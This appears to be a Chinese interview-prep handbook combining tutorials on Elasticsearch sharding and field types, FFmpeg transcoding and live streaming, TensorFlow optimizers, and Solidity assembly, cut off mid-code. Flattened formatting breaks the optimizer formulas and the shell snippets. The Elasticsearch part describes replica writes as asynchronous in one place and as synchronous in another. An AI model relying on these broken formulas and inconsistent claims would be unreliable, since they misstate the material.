面试题手册

Elasticsearch 的分布式能力建立在两个核心机制之上：分片（Shard） 和 副本（Replica）。分片解决"一台机器存不下、算不快"的问题，副本解决"一台机器挂了数据丢了"的问题。理解这两者的工作方式，是掌握 Elasticsearch 集群架构的关键。分片（Shard）：水平拆分，并行提速分片是将一个索引拆分为多个独立存储单元的机制。每个分片本质上是一个完整的 Lucene 索引，可以独立存储和检索数据，分布在集群的不同节点上。水平扩展存储容量单节点存储有上限。假设一个索引有 60GB 数据，设置 number_of_shards=5，则每个分片存储约 12GB，可分散到 5 个节点上。数据量增长时，通过增加节点即可承载更多分片。并行提升查询性能搜索请求到达后，协调节点将查询分发到所有相关分片并行执行，各分片返回局部结果后由协调节点合并排序。5 个分片意味着 5 路并行，查询延迟显著降低。分片数量在索引创建时确定，不可修改这是一个常考的面试点。主分片数一旦设定就无法更改（因为文档路由公式依赖分片数）。如果需要调整，只能通过 Reindex 重建索引。设置时需预估数据规模：PUT /my_index{ "settings": { "number_of_shards": 3, "number_of_replicas": 1 }}副本（Replica）：高可用与读扩展副本是主分片的完整拷贝，与主分片存储在不同节点上。它的核心价值有两个：故障容错和读性能提升。故障容错——节点宕机数据不丢失当持有主分片的节点故障时，集群会自动将对应的副本提升为主分片，保证数据可继续读写。故障节点恢复后，集群会重新同步数据，恢复副本。整个过程中，用户无感知。读请求负载均衡读操作（搜索、聚合）可以在主分片和副本上同时执行。3 个主分片 + 1 副本 = 6 个可读分片，查询吞吐量翻倍。写操作仍然只发生在主分片上，之后异步复制到副本。副本数量可以随时修改与分片不同，副本数可动态调整，不需要重建索引：PUT /my_index/_settings{ "number_of_replicas": 2}分片与副本的协作机制文档写入流程客户端发送写请求到协调节点协调节点根据文档 ID 计算目标分片：shard = hash(routing) % number_of_primary_shards请求转发到主分片所在节点，主分片完成写入主分片将数据同步到所有副本分片所有副本确认后，返回成功响应给客户端文档读取流程协调节点收到读请求根据路由信息确定目标分片组（主分片 + 副本）采用轮询策略在主分片和副本间选择一个执行查询，实现负载均衡返回结果故障转移流程当节点宕机时，集群执行以下步骤：主节点检测到节点离线，将集群状态标记为 yellow（有副本丢失）或 red（有主分片丢失）若主分片丢失，将对应副本提升为新主分片在剩余节点上重新分配分片，恢复副本数量数据通过副本重新同步，最终恢复为 green 状态配置原则与最佳实践分片数设置单分片建议大小 30-50GB，不超过 50GB分片数 = 预估数据量 / 单分片目标大小避免过度分片：每个分片消耗内存和文件句柄，分片过多导致性能下降官方建议：每个节点分片数不超过 堆内存(GB) × 20副本数设置生产环境至少 1 个副本，保证单节点故障不丢数据对读吞吐要求高的场景可增加到 2 个副本副本会增加存储开销和写入延迟（写操作需同步到所有副本），需要权衡常见配置错误小索引设置过多分片（如 1GB 数据设 5 个分片），浪费资源副本数为 0 且只有单节点，节点故障即数据丢失分片大小不均，部分热点分片成为瓶颈面试常见追问Q: 分片数为什么创建后不能改？文档路由公式 hash(routing) % primary_shards 依赖分片数。如果分片数变化，已有文档的路由结果改变，查询时无法定位到正确的分片。Q: 副本同步是同步还是异步？写入时是同步的——主分片写入后等待所有副本确认才返回成功（可通过 consistency 参数调整）。副本之间的分段合并等操作则是异步进行。Q: 如何选择分片数量？基于数据量和节点数预估。核心公式：分片数 = 总数据量 / 30GB（单分片建议上限）。同时确保分片数不超过 节点数 × 每节点分片上限。实际场景中需结合写入频率和查询复杂度调整。

在视频处理中，调整码率、分辨率和帧率是最常见的需求。无论是压缩视频体积、适配不同设备，还是优化流媒体传输，FFmpeg 都能通过命令行参数精确控制这三个核心参数。但参数设置不当容易导致画质劣化、播放卡顿甚至编码失败，所以需要理解每个参数的含义和适用场景。码率调整：控制视频体积与画质的平衡码率（bitrate）决定视频每秒的数据量，单位为 kbit/s 或 Mbit/s。码率越高画质越好，但文件体积也越大。FFmpeg 提供三种码率控制模式，适用场景各不相同。CBR：恒定码率CBR 保持码率不变，适合直播等对带宽要求稳定的场景：ffmpeg -i input.mp4 -c:v libx264 -b:v 5000k -minrate 5000k -maxrate 5000k -bufsize 10000k output.mp4将 -minrate、-maxrate 设为相同值即为 CBR 模式。-bufsize 设为码率的 2 倍可以保证码率稳定。VBR：可变码率VBR 根据画面复杂度动态调整码率，简单场景省码率、复杂场景多分配，适合点播和本地存储：ffmpeg -i input.mp4 -c:v libx264 -b:v 5000k -maxrate 8000k -bufsize 10000k output.mp4-b:v 设定平均码率，-maxrate 限制峰值码率防止突发流量。CRF：恒定质量（推荐）CRF（Constant Rate Factor）是 libx264/libx265 最推荐的码率控制方式，它按目标画质自动分配码率，无需手动指定码率值：ffmpeg -i input.mp4 -c:v libx264 -crf 23 -preset medium output.mp4CRF 取值范围 0-51，默认 23。常用范围：18-22：高质量，接近视觉无损23-28：质量与体积的平衡点，日常使用推荐28-32：明显压缩，适合对体积敏感的场景-preset 控制编码速度与压缩效率的平衡，从快到慢：ultrafast < superfast < veryfast < faster < fast < medium < slow < slower < veryslow。slow 压缩率更高但编码更慢，fast 编码快但文件更大。两遍编码（Two-Pass）对体积有严格要求的场景（如视频网站），使用两遍编码可以在精确控制文件大小的同时获得最佳画质：# 第一遍：分析视频内容ffmpeg -i input.mp4 -c:v libx264 -b:v 5000k -pass 1 -an -f null /dev/null# 第二遍：基于分析结果编码ffmpeg -i input.mp4 -c:v libx264 -b:v 5000k -pass 2 -c:a aac -b:a 128k output.mp4码率参考值不同分辨率下的推荐码率（H.264 编码）：| 分辨率 | 建议码率范围 | 适用场景 ||--------|-------------|---------|| 480p (854x480) | 1000-2000 kbit/s | 移动端低清 || 720p (1280x720) | 2500-5000 kbit/s | 移动端高清 || 1080p (1920x1080) | 5000-8000 kbit/s | PC 端高清 || 4K (3840x2160) | 15000-30000 kbit/s | 大屏/专业用途 |分辨率调整：适配不同设备与带宽分辨率即画面的宽高像素数，直接影响清晰度。调整分辨率有两种方式，推荐使用滤镜方式。使用 scale 滤镜（推荐）# 固定分辨率ffmpeg -i input.mp4 -vf "scale=1280:720" -c:v libx264 -crf 23 output.mp4# 指定高度，宽度自动计算（保持宽高比）ffmpeg -i input.mp4 -vf "scale=-2:720" -c:v libx264 -crf 23 output.mp4-2 表示自动计算，保证宽度为偶数（编码器要求）。推荐这种写法，避免画面变形。使用 lanczos 算法提升缩放质量ffmpeg -i input.mp4 -vf "scale=1280:720:flags=lanczos" -c:v libx264 -crf 23 output.mp4lanczos 是高质量的缩放算法，下采样时比默认的 bicubic 更清晰，适合降低分辨率的场景。保持宽高比并补黑边目标容器有固定尺寸但不想裁剪画面时：ffmpeg -i input.mp4 -vf "scale=1280:720:force_original_aspect_ratio=decrease,pad=1280:720:(ow-iw)/2:(oh-ih)/2" -c:v libx264 -crf 23 output.mp4使用 -s 参数（不推荐）ffmpeg -i input.mp4 -s 1280x720 -c:v libx264 -crf 23 output.mp4-s 直接指定分辨率，但无法保持宽高比，容易导致画面拉伸变形。仅在源视频比例已知时使用。帧率调整：匹配播放场景的需求帧率（fps）影响画面流畅度。常见帧率：24fps（电影）、25fps（PAL 制式）、30fps（网络视频）、60fps（游戏/运动画面）。直接设置帧率ffmpeg -i input.mp4 -r 24 -c:v libx264 -crf 23 output.mp4-r 直接指定输出帧率，FFmpeg 会自动丢帧或复制帧来匹配目标帧率。使用 fps 滤镜（推荐降帧场景）ffmpeg -i input.mp4 -vf "fps=24" -c:v libx264 -crf 23 output.mp4fps 滤镜比 -r 更精确，会均匀选取帧而非简单丢弃，画面过渡更平滑。使用 setpts 调整播放速度# 1.5 倍速播放（帧率相应提高）ffmpeg -i input.mp4 -vf "setpts=PTS/1.5" -c:v libx264 -crf 23 output.mp4# 0.5 倍速播放（慢放）ffmpeg -i input.mp4 -vf "setpts=2*PTS" -c:v libx264 -crf 23 output.mp4setpts 改变帧的时间戳，实现变速效果。注意变速时音频也需要同步处理（使用 atempo 滤镜）。使用 -vsync 控制同步模式ffmpeg -i input.mp4 -r 24 -vsync cfr -c:v libx264 -crf 23 output.mp4cfr：恒定帧率，不足的帧会复制，多余的帧丢弃，输出帧率严格恒定vfr：可变帧率，保持原始时间戳，不插帧不丢帧auto：根据输入自动选择（默认）直播和流媒体推荐 cfr，保证播放器解码稳定。查看视频信息：调整前先了解源文件调整参数前，先用 ffprobe 查看源视频信息：# 查看完整流信息ffprobe -v error -show_streams input.mp4# 只看码率ffprobe -v error -select_streams v:0 -show_entries stream=bit_rate -of default=noprint_wrappers=1 input.mp4# 只看分辨率和帧率ffprobe -v error -select_streams v:0 -show_entries stream=width,height,r_frame_rate -of default=noprint_wrappers=1 input.mp4组合使用：常见场景的完整命令压缩视频体积（保持画质）ffmpeg -i input.mp4 -c:v libx264 -crf 28 -preset slow -c:a aac -b:a 128k output.mp4适配移动端（720p + 适中码率）ffmpeg -i input.mp4 -vf "scale=-2:720" -c:v libx264 -crf 26 -preset medium -c:a aac -b:a 128k output.mp4流媒体推送（固定码率 + 720p + 30fps）ffmpeg -i input.mp4 -vf "scale=-2:720" -c:v libx264 -b:v 3000k -maxrate 3500k -bufsize 6000k -r 30 -vsync cfr -c:a aac -b:a 128k output.mp4H.265 编码（同画质体积减半）ffmpeg -i input.mp4 -c:v libx265 -crf 28 -preset medium -c:a aac -b:a 128k output.mp4H.265/HEVC 比 H.264 在同等画质下节省约 40-50% 码率，但编码速度慢、兼容性稍差。常见问题调整后画质明显下降码率不足是主因。如果是用 -b:v 控制码率，尝试提高码率或改用 CRF 模式（-crf 23）。降分辨率时指定 lanczos 算法可以减少模糊。分辨率调整后画面变形没有保持宽高比。用 scale=-2:720 替代 scale=1280:720，让宽度自动计算。-2 保证宽度为偶数，满足编码器要求。帧率调整后播放抖动源帧率与目标帧率不匹配导致丢帧不均匀。使用 fps 滤镜（-vf "fps=24"）替代 -r 参数，前者会均匀选帧；或加 -vsync cfr 强制恒定帧率输出。编码速度太慢降低 -preset 参数值（如从 slow 改为 fast），或使用硬件加速编码器（如 -c:v h264_videotoolbox macOS / -c:v h264_nvenc NVIDIA / -c:v h264_qsv Intel）。-vbr 参数不生效libx264 不支持 -vbr 参数。码率控制应使用 -crf（推荐）、-b:v + -maxrate（VBR 限峰）或两遍编码（-pass）。-vbr 仅适用于部分编码器（如 libvpx）。

FFmpeg 推流的核心就三步：指定输入源、设置编码参数、指向推流地址。掌握这几个环节的组合方式，就能应对绝大多数直播推流场景。FFmpeg 推流的基本命令结构一条完整的推流命令长这样：ffmpeg -i input.mp4 -c:v libx264 -preset fast -crf 23 -c:a aac -b:a 128k -f flv rtmp://server/live/stream拆开来看：-i：输入源，可以是本地文件、摄像头设备或网络流-c:v / -c:a：视频/音频编码器，直播场景下视频常用 libx264，音频常用 aac-f flv：输出封装格式，RTMP 推流必须用 FLV最后的 URL：推流地址，格式为 rtmp://服务器地址/应用名/流名 -re 参数在推本地文件时必须加，它让 FFmpeg 按原始帧率读取输入，否则会以最快速度推完。推摄像头或 RTSP 等实时源时不需要加。视频编码参数怎么选？编码器与预设-c:v libx264 -preset veryfast -tune zerolatency-preset 控制编码速度与压缩率的平衡，从慢到快依次为 slow → medium → fast → veryfast → ultrafast。直播场景建议 veryfast 或 ultrafast，优先保证低延迟-tune zerolatency 关闭前瞻分析，进一步降低延迟，互动直播必加码率与质量控制两种控制方式选其一：方式一：CRF 恒定质量（适合带宽充足的场景）-crf 23 -maxrate 2500k -bufsize 5000kCRF 值越低质量越高，直播推荐 18-28。配合 -maxrate 和 -bufsize 设置上限，防止码率飙升导致卡顿。方式二：CBR 恒定码率（适合带宽受限的场景）-b:v 1500k -maxrate 1500k -bufsize 3000k码率固定，网络波动时更稳定。bufsize 通常设为 maxrate 的 2 倍。分辨率与帧率-s 1280x720 -r 25 -g 50 -keyint_min 25-g 设置 GOP 大小（关键帧间隔），建议等于帧率的 2 倍，方便客户端随时切入-keyint_min 设置最小关键帧间隔，与 -g 保持一致可确保关键帧间隔均匀音频编码参数怎么配？-c:a aac -b:a 128k -ar 44100 -ac 2-b:a 128k：音频码率，语音直播 96k 足够，音乐直播建议 128-192k-ar 44100：采样率，44100Hz 是标准值-ac 2：双声道，单声道直播可设为 1 如果遇到音画不同步，加 -async 1 强制音频同步，或用 -vsync cfr 固定视频帧率。常见推流场景的完整命令本地文件推流到 RTMP 服务器ffmpeg -re -i input.mp4 -c:v libx264 -preset veryfast -crf 23 -maxrate 2500k -bufsize 5000k -c:a aac -b:a 128k -f flv rtmp://your-server.com/live/stream关键点：-re 按原始帧率推流，-crf 23 平衡质量与码率。摄像头实时推流（低延迟）ffmpeg -f v4l2 -i /dev/video0 -f alsa -i default -c:v libx264 -preset ultrafast -tune zerolatency -crf 28 -c:a aac -b:a 128k -f flv rtmp://server/live/low-latency关键点：-f v4l2 捕获 Linux 摄像头，macOS 用 -f avfoundation -i "0"，Windows 用 -f dshow -i video="摄像头名称"。ultrafast + zerolatency 追求最低延迟。循环推流（24小时轮播）ffmpeg -re -stream_loop -1 -i input.mp4 -c:v libx264 -preset fast -b:v 1500k -c:a aac -b:a 128k -f flv rtmp://server/live/loop关键点：-stream_loop -1 无限循环，适合轮播场景。RTSP 转 RTMP 推流ffmpeg -rtsp_transport tcp -i rtsp://camera-ip/stream -c:v libx264 -preset veryfast -b:v 2000k -c:a aac -b:a 128k -f flv rtmp://server/live/camera关键点：-rtsp_transport tcp 用 TCP 拉取 RTSP 流，避免 UDP 丢包。如果 RTSP 源已经是 H.264 编码，可以用 -c:v copy 直接复制视频流，省去重编码开销。SRT 协议推流ffmpeg -re -i input.mp4 -c:v libx264 -preset fast -b:v 2500k -c:a aac -b:a 128k -f mpegts 'srt://server:9000?streamid=live/stream'关键点：SRT 在弱网环境下比 RTMP 更稳定，支持加密传输。输出格式用 mpegts 而非 flv。多路推流（同时推到多个平台）ffmpeg -re -i input.mp4 -c:v libx264 -preset fast -b:v 2000k -c:a aac -b:a 128k -f flv rtmp://platform-a.com/live/stream1 -c:v libx264 -preset fast -b:v 1500k -c:a aac -b:a 128k -f flv rtmp://platform-b.com/live/stream2关键点：每个输出地址前指定独立的编码参数，可实现不同平台推不同画质。硬件加速推流CPU 编码吃满时可以用 GPU 加速：# NVIDIA GPUffmpeg -hwaccel cuda -i input.mp4 -c:v h264_nvenc -preset p4 -b:v 2500k -c:a aac -b:a 128k -f flv rtmp://server/live/gpu# Intel GPU (VAAPI，Linux)ffmpeg -hwaccel vaapi -hwaccel_device /dev/dri/renderD128 -i input.mp4 -c:v h264_vaapi -b:v 2500k -c:a aac -b:a 128k -f flv rtmp://server/live/gpu# macOS (VideoToolbox)ffmpeg -hwaccel videotoolbox -i input.mp4 -c:v h264_videotoolbox -b:v 2500k -c:a aac -b:a 128k -f flv rtmp://server/live/gpu硬件编码延迟更低、吞吐更高，但画质略逊于 libx264 的 slow 预设。实际选择取决于业务优先级：画质选软编，性能选硬编。推流常见问题排查推流失败：Connection refused检查 RTMP 服务器地址和端口是否正确，确认服务器防火墙放行了 1935 端口。用 telnet server 1935 快速验证网络连通性。视频卡顿：帧率不稳或画面跳跃降低视频码率（-b:v 从 2500k 降到 1500k）增大缓冲区（-bufsize 设为 -maxrate 的 2-3 倍）换更快的编码预设（-preset ultrafast）音画不同步加 -async 1 强制音频同步加 -vsync cfr 固定视频帧率检查输入源本身是否同步（用 ffprobe 查看 PTS 信息）推流延迟过高加 -tune zerolatency 关闭前瞻减小 GOP 大小（-g 25）用 -preset ultrafast 加快编码考虑换 SRT 协议，弱网下延迟更低推流过程中断流加自动重连参数：ffmpeg -re -rtmp_live live -timeout 10000000 -i input.mp4 -c:v libx264 -preset fast -b:v 1500k -c:a aac -b:a 128k -f flv rtmp://server/live/stream配合 shell 脚本实现断线自动重启：while true; do ffmpeg -re -i input.mp4 -c:v libx264 -preset fast -b:v 1500k -c:a aac -b:a 128k -f flv rtmp://server/live/stream sleep 2done推流参数速查表| 场景 | 编码预设 | 码率 | CRF | GOP | 特殊参数 ||------|---------|------|-----|-----|---------|| 互动直播 | ultrafast + zerolatency | 1500-2500k | 28 | 50 | -tune zerolatency || 高清直播 | fast | 3000-6000k | 23 | 50 | -maxrate + -bufsize || 弱网推流 | veryfast | 800-1500k | 28 | 25 | SRT 协议 || 轮播推流 | fast | 1500-2500k | 23 | 50 | -stream_loop -1 || GPU 加速 | N/A (硬件编码) | 2500-4000k | N/A | 50 | -hwaccel cuda/vaapi |实际推流时没有万能参数组合，需要根据网络带宽、服务器配置和画质要求调整。建议先在测试环境用 ffmpeg -loglevel verbose 跑一遍，观察实际码率和丢帧情况再上线。

Elasticsearch 的字段类型直接决定了索引的存储方式、查询性能和分析能力。选错类型会导致分词异常、聚合失败、存储膨胀，甚至需要重建索引。下面从类型分类、核心类型详解、选型原则三个层面系统梳理。字段类型总览Elasticsearch 的字段类型可分为以下几类：| 类别 | 主要类型 | 典型场景 ||------|---------|---------|| 文本 | text、keyword | 全文搜索 / 精确匹配 || 数值 | integer、long、float、double、scaled_float | 范围查询、排序、聚合 || 日期 | date | 时间范围过滤 || 布尔 | boolean | 状态标记 || 复杂结构 | object、nested、flattened | 嵌套文档 || 地理 | geo_point、geo_shape | 位置搜索 || 语义搜索 | dense_vector、sparse_vector | 向量检索 || 排序特征 | rank_feature、rank_features | 影响相关性评分 || 自动补全 | search_as_you_type、completion | 搜索建议 || 其他 | ip、alias、constant_keyword、wildcard | 特殊用途 |核心类型详解text 与 keyword：最常混淆的一对text 和 keyword 是 Elasticsearch 中最基础也最容易被误用的两种类型。text 会经过分词器处理，拆分为多个 token 后建立倒排索引，适合 match 查询："title": { "type": "text", "analyzer": "ik_max_word"}在 text 字段上执行 term 查询是常见错误——分词后的 token 与原始值不一致，term 查询会返回空结果。keyword 不分词，原样存储，适合 term 查询、排序和聚合："status": { "type": "keyword", "ignore_above": 256}多字段模式是生产环境的标准做法，同一个业务字段同时提供 text 和 keyword 两种能力："title": { "type": "text", "analyzer": "ik_max_word", "fields": { "keyword": { "type": "keyword" } }}这样 title 用于全文搜索，title.keyword 用于精确匹配和聚合。数值类型：够用就行，不必贪大integer（4字节）、long（8字节）、float（4字节）、double（8字节）是最常用的数值类型。选型原则很简单：能满足需求的最小类型优先。scaled_float 适合货币等固定精度场景，它存储时自动乘以 scaling_factor 取整，查询时还原："price": { "type": "scaled_float", "scaling_factor": 100}这样 99.99 实际存储为 9999（long），既省空间又避免浮点精度问题。注意：存储标识符（如数据库主键 ID）应使用 keyword 而非 long。数字类型的 term 查询会做数值比较，而标识符需要的是精确字符串匹配。date 类型：格式必须显式声明"created_at": { "type": "date", "format": "yyyy-MM-dd'T'HH:mm:ss.SSSZ||epoch_millis"}format 支持用 || 分隔多种格式。不指定时 Elasticsearch 会猜测，一旦数据中混入不同格式就会导致解析失败。始终显式声明 format 是最佳实践。object 与 nested：嵌套数据的两种处理方式object 类型会将嵌套字段扁平化存储。当数组中包含多个对象时，扁平化会导致跨字段的关联丢失：// 文档内容{"users": [{"name": "张三", "age": 25}, {"name": "李四", "age": 30}]}// object 扁平化后实际存储{"users.name": ["张三", "李四"], "users.age": [25, 30]}此时查询 name=张三 AND age=30 会误匹配，因为扁平化后张三和 30 没有关联。nested 类型为每个数组元素建立独立文档，保证字段间关联："users": { "type": "nested", "properties": { "name": { "type": "keyword" }, "age": { "type": "integer" } }}查询时必须使用 nested 查询：{ "query": { "nested": { "path": "users", "query": { "bool": { "must": [ { "term": { "users.name": "张三" } }, { "term": { "users.age": 25 } } ] } } } }}nested 的代价是查询更复杂、索引更大。如果数组元素之间不需要跨字段关联查询，用 object 即可。flattened：动态元数据的轻量选择当日志或事件中包含大量不确定 key 的元数据字段时，逐个定义 mapping 既繁琐又浪费。flattened 将整个对象作为一个 keyword 存储："metadata": { "type": "flattened"}支持对内部字段的查询和聚合，但不支持全文搜索。适合标签、注解等结构不固定的场景。geopoint 与 geoshape：地理信息处理"location": { "type": "geo_point"}geo_point 支持距离查询、范围过滤和聚合：{ "query": { "geo_distance": { "distance": "5km", "location": { "lat": 39.9, "lon": 116.4 } } }}geo_shape 用于复杂地理区域（多边形、线段），支持空间关系查询（相交、包含等）。dense_vector：语义搜索的基础"embedding": { "type": "dense_vector", "dims": 768, "index": true, "similarity": "cosine"}dense_vector 存储向量数据，配合 kNN 查询实现语义搜索。index: true（ES 8.0+）启用向量索引以加速近似最近邻检索。rank_feature：影响相关性但不参与过滤"page_rank": { "type": "rank_feature"},"hot_score": { "type": "rank_features"}rank_feature 存储单个正数，rank_features 存储 key-value 对。它们只能用于 rank_feature 查询中提升相关性评分，不能用于过滤或聚合。适合引入外部信号（如热度、权威度）影响排序。其他实用类型ip：存储 IPv4/IPv6，支持 CIDR 范围查询alias：字段别名，指向另一个字段，查询时自动转发constant_keyword：所有文档该字段值相同，优化存储wildcard：优化 wildcard 和 prefix 查询的性能searchasyou_type：专为即输即搜优化，自动构建 ngram 子字段completion：用于 suggester API 的自动补全runtime fields：查询时动态计算运行时字段不在索引时生成，而在查询时通过脚本计算，适合临时分析或验证逻辑："runtime": { "price_gte_100": { "type": "boolean", "script": { "source": "emit(doc['price'].value >= 100)" } }}优点是无需 reindex 即可添加字段；缺点是每次查询都要计算，大量数据下性能损耗明显。生产环境中高频查询的字段应转为索引字段。选型原则第一步：确认查询方式| 查询方式 | 推荐类型 ||---------|---------|| 全文搜索 | text || 精确匹配 / 过滤 / 聚合 | keyword || 范围查询 | 数值类型 / date || 地理距离 | geo_point || 语义搜索 | dense_vector || 嵌套关联查询 | nested |第二步：考虑存储与性能keyword 比 text 索引开销小，高频过滤字段优先用 keywordscaled_float 在货币场景下比 double 更精确且更省空间nested 查询比 object 慢，只在需要字段关联时使用flattened 减少 mapping 膨胀，但牺牲全文搜索能力第三步：避免常见错误不要在 text 字段上执行 term 查询，用 match 或改用 keyword标识符字段用 keyword，不要用数值类型日期字段始终显式声明 format需要字段关联的嵌套数组必须用 nested，不能用 object运行时字段不要用于高频过滤或大规模聚合完整 mapping 示例{ "mappings": { "properties": { "title": { "type": "text", "analyzer": "ik_max_word", "fields": { "keyword": { "type": "keyword" } } }, "status": { "type": "keyword" }, "price": { "type": "scaled_float", "scaling_factor": 100 }, "is_active": { "type": "boolean" }, "created_at": { "type": "date", "format": "yyyy-MM-dd'T'HH:mm:ss.SSSZ||epoch_millis" }, "location": { "type": "geo_point" }, "ip_address": { "type": "ip" }, "users": { "type": "nested", "properties": { "name": { "type": "keyword" }, "age": { "type": "integer" } } }, "metadata": { "type": "flattened" }, "embedding": { "type": "dense_vector", "dims": 768, "index": true, "similarity": "cosine" }, "hot_score": { "type": "rank_feature" } } }}选对字段类型是 Elasticsearch 索引设计的根基。先明确查询方式，再权衡存储与性能，最后对照常见错误排查——三步走基本覆盖绝大多数场景。如果业务演进导致类型需要变更，通过 reindex + alias 切换的方式在线完成，无需停服。

TensorFlow提供了多种优化器来实现梯度下降的参数更新。最常用的三种优化器分别是Adam、SGD和RMSProp，它们在收敛速度、内存开销和泛化能力上各有侧重。Adam：自适应矩估计优化器Adam结合了Momentum和RMSProp的思想，对梯度的一阶矩（均值）和二阶矩（方差）分别做指数加权移动平均，实现每个参数独立的自适应学习率。核心更新公式：$$\begin{align}mt &= \beta1 m{t-1} + (1 - \beta1) gt \vt &= \beta2 v{t-1} + (1 - \beta2) gt^2 \\hat{m}t &= \frac{mt}{1 - \beta1^t}, \quad \hat{v}t = \frac{vt}{1 - \beta2^t} \\thetat &= \theta{t-1} - \alpha \frac{\hat{m}t}{\sqrt{\hat{v}t} + \epsilon}\end{align}$$关键特点：收敛快：自适应学习率让大多数任务无需精细调参，默认lr=0.001即可工作处理稀疏梯度强：比RMSProp在稀疏场景下更稳定偏差校正确保初期训练不偏：$\hat{m}t$和$\hat{v}t$是对零初始偏差的修正，这是Adam相比RMSProp的关键改进optimizer = tf.keras.optimizers.Adam(learning_rate=0.001)适用场景：CNN、RNN、Transformer等绝大多数深度学习任务的默认首选。SGD：随机梯度下降优化器SGD是最基础的优化器，每次只用一个mini-batch的梯度来更新参数：$$\thetat = \theta{t-1} - \alpha g_t$$配合动量后，更新规则变为：$$vt = \beta v{t-1} + gt, \quad \thetat = \theta{t-1} - \alpha vt$$关键特点：内存最低：只存当前梯度（加动量时多一个速度项），远小于Adam的两个矩估计泛化能力更优：噪声带来的正则化效应，在训练后期往往比Adam获得更好的泛化性能调参门槛高：学习率、动量、学习率调度都需要手动设置optimizer = tf.keras.optimizers.SGD(learning_rate=0.01, momentum=0.9)适用场景：小规模数据集、资源受限环境、追求极致泛化性能的场景。实践中常见策略是前期用Adam快速收敛，后期切换SGD精调。RMSProp：均方根传播优化器RMSProp针对AdaGrad学习率单调递减的问题，用梯度平方的指数加权移动平均替代累加和，使学习率不会无限衰减：$$\begin{align}st &= \rho s{t-1} + (1 - \rho) gt^2 \\thetat &= \theta{t-1} - \alpha \frac{gt}{\sqrt{s_t} + \epsilon}\end{align}$$关键特点：学习率自适应但不衰减：解决了AdaGrad在长训练中学习率趋近于零的问题适合非平稳目标：对RNN等时序模型特别友好比Adam更轻量：只维护一个二阶矩估计，内存占用介于SGD和Adam之间optimizer = tf.keras.optimizers.RMSprop(learning_rate=0.001, rho=0.9)适用场景：RNN/LSTM训练、强化学习、对内存敏感但又需要自适应学习率的场景。三种优化器如何选择？| 维度 | Adam | SGD+Momentum | RMSProp ||------|------|-------------|---------|| 收敛速度 | 快 | 慢 | 中 || 内存占用 | 高 | 低 | 中 || 调参难度 | 低 | 高 | 中 || 泛化性能 | 中 | 高 | 中 || 稀疏梯度 | 优 | 差 | 良 |实际选择建议：默认用Adam，模型对泛化要求极高时试SGD+Momentum，训练RNN时优先考虑RMSProp。面试追问Q: Adam和RMSProp的核心区别是什么？Adam在RMSProp基础上增加了动量项（一阶矩估计）和偏差校正。RMSProp只对梯度平方做指数移动平均来调整学习率，而Adam同时维护梯度的移动平均（方向）和梯度平方的移动平均（步长），偏差校正则保证训练初期估计无偏。这使得Adam在稀疏梯度场景下比RMSProp更稳定。Q: 为什么Adam收敛快但泛化可能不如SGD？Adam的自适应学习率让参数快速靠近极小值，但也可能"冲过头"跳过平坦的泛化解。SGD的梯度噪声天然充当正则化，倾向于找到更宽更平的极小值，这类极小值通常泛化更好。一种折中策略是Warmup+Cosine衰减，或先Adam后SGD的两阶段训练。

Assembly 是 Solidity 中的底层编程方式，允许开发者直接编写 EVM 操作码，绕过编译器的高级抽象。在 Gas 敏感的关键路径上，Assembly 能带来显著的性能提升，但也伴随更高的安全风险和维护成本。为什么需要 AssemblySolidity 编译器在大多数场景下已经能生成足够高效的字节码，但在以下情况中，手写 Assembly 是合理的：跳过编译器的冗余抽象：Solidity 对数组、结构体的边界检查会产生额外 Gas 开销，Assembly 可以绕过这些检查访问 EVM 底层特性：如 returndatasize()、extcodehash() 等操作在纯 Solidity 中无法直接调用实现 Solidity 不支持的操作：如自定义内存布局、精确控制 calldata 解析极致 Gas 优化：在 DeFi 协议等对 Gas 极度敏感的场景中，几万 Gas 的节省直接影响用户体验但必须注意：Assembly 跳过了 Solidity 的安全检查（溢出保护、边界检查），任何错误都可能导致资金损失。原则是能不用就不用，非用不可时必须充分测试和审计。Assembly 基础语法内联汇编Solidity 中通过 assembly 关键字嵌入汇编代码块：contract BasicAssembly { function add(uint256 a, uint256 b) external pure returns (uint256 result) { assembly { result := add(a, b) } } function calculate(uint256 x) external pure returns (uint256) { assembly { let y := add(x, 10) let z := mul(y, 2) mstore(0x00, z) return(0x00, 32) } }}数据类型与运算Assembly 中只有一种数据类型：256 位整数。所有值都在 256 位栈上操作：contract AssemblyDataTypes { function operations() external pure { assembly { let a := 100 let b := 0xFF // 算术运算 let sum := add(a, b) let diff := sub(a, b) let prod := mul(a, b) let quot := div(a, b) let rem := mod(a, b) // 位运算 let andResult := and(a, b) let orResult := or(a, b) let xorResult := xor(a, b) let notResult := not(a) let shifted := shl(2, a) // 左移 let shiftedR := shr(2, a) // 逻辑右移 let shiftedA := sar(2, a) // 算术右移（保留符号位） } }}注意：not(a) 执行的是按位取反（等同于 a ^ 0xFFFF...FF），不是逻辑非。逻辑非需要用 iszero(a)。内存操作EVM 内存布局理解内存布局是写好 Assembly 的前提：| 偏移量 | 大小 | 用途 ||--------|------|------|| 0x00-0x3f | 64 字节 | 哈希函数临时空间 || 0x40-0x5f | 32 字节 | 空闲内存指针 || 0x60-0x7f | 32 字节 | 零值槽（solidity 用作空 bytes32） || 0x80-… | - | 实际数据存储区 |contract MemoryOps { function memoryBasics() external pure returns (uint256) { assembly { // 读取空闲内存指针 let freePtr := mload(0x40) // 在空闲位置存储 32 字节数据 mstore(freePtr, 12345) // 更新空闲内存指针（前移 32 字节） mstore(0x40, add(freePtr, 0x20)) // 读取存储的值 let value := mload(freePtr) mstore(0x00, value) return(0x00, 32) } } // 存储多个值到连续内存 function storeMultiple() external pure returns (uint256, uint256) { assembly { let freePtr := mload(0x40) mstore(freePtr, 100) mstore(add(freePtr, 0x20), 200) mstore(add(freePtr, 0x40), 300) mstore(0x40, add(freePtr, 0x60)) // 更新指针 mstore(0x00, mload(freePtr)) mstore(0x20, mload(add(freePtr, 0x20))) return(0x00, 64) } }}关键原则：每次写入内存后必须更新 0x40 处的空闲指针，否则后续操作可能覆盖你的数据。存储操作存储槽布局EVM 的存储是键值对结构，每个槽 32 字节。Solidity 按声明顺序分配存储槽：contract StorageLayout { uint256 public value1; // slot 0 uint256 public value2; // slot 1 mapping(address => uint256) public balances; // slot 2 address public owner; // slot 3 uint256[] public dynamicArray; // slot 4}直接读写存储contract StorageOps { uint256 public value1; // slot 0 mapping(address => uint256) public balances; // slot 2 uint256[] public dynamicArray; // slot 4 function storageRead() external view returns (uint256) { assembly { let v := sload(0) // 读取 slot 0 mstore(0x00, v) return(0x00, 32) } } function storageWrite(uint256 _value) external { assembly { sstore(0, _value) // 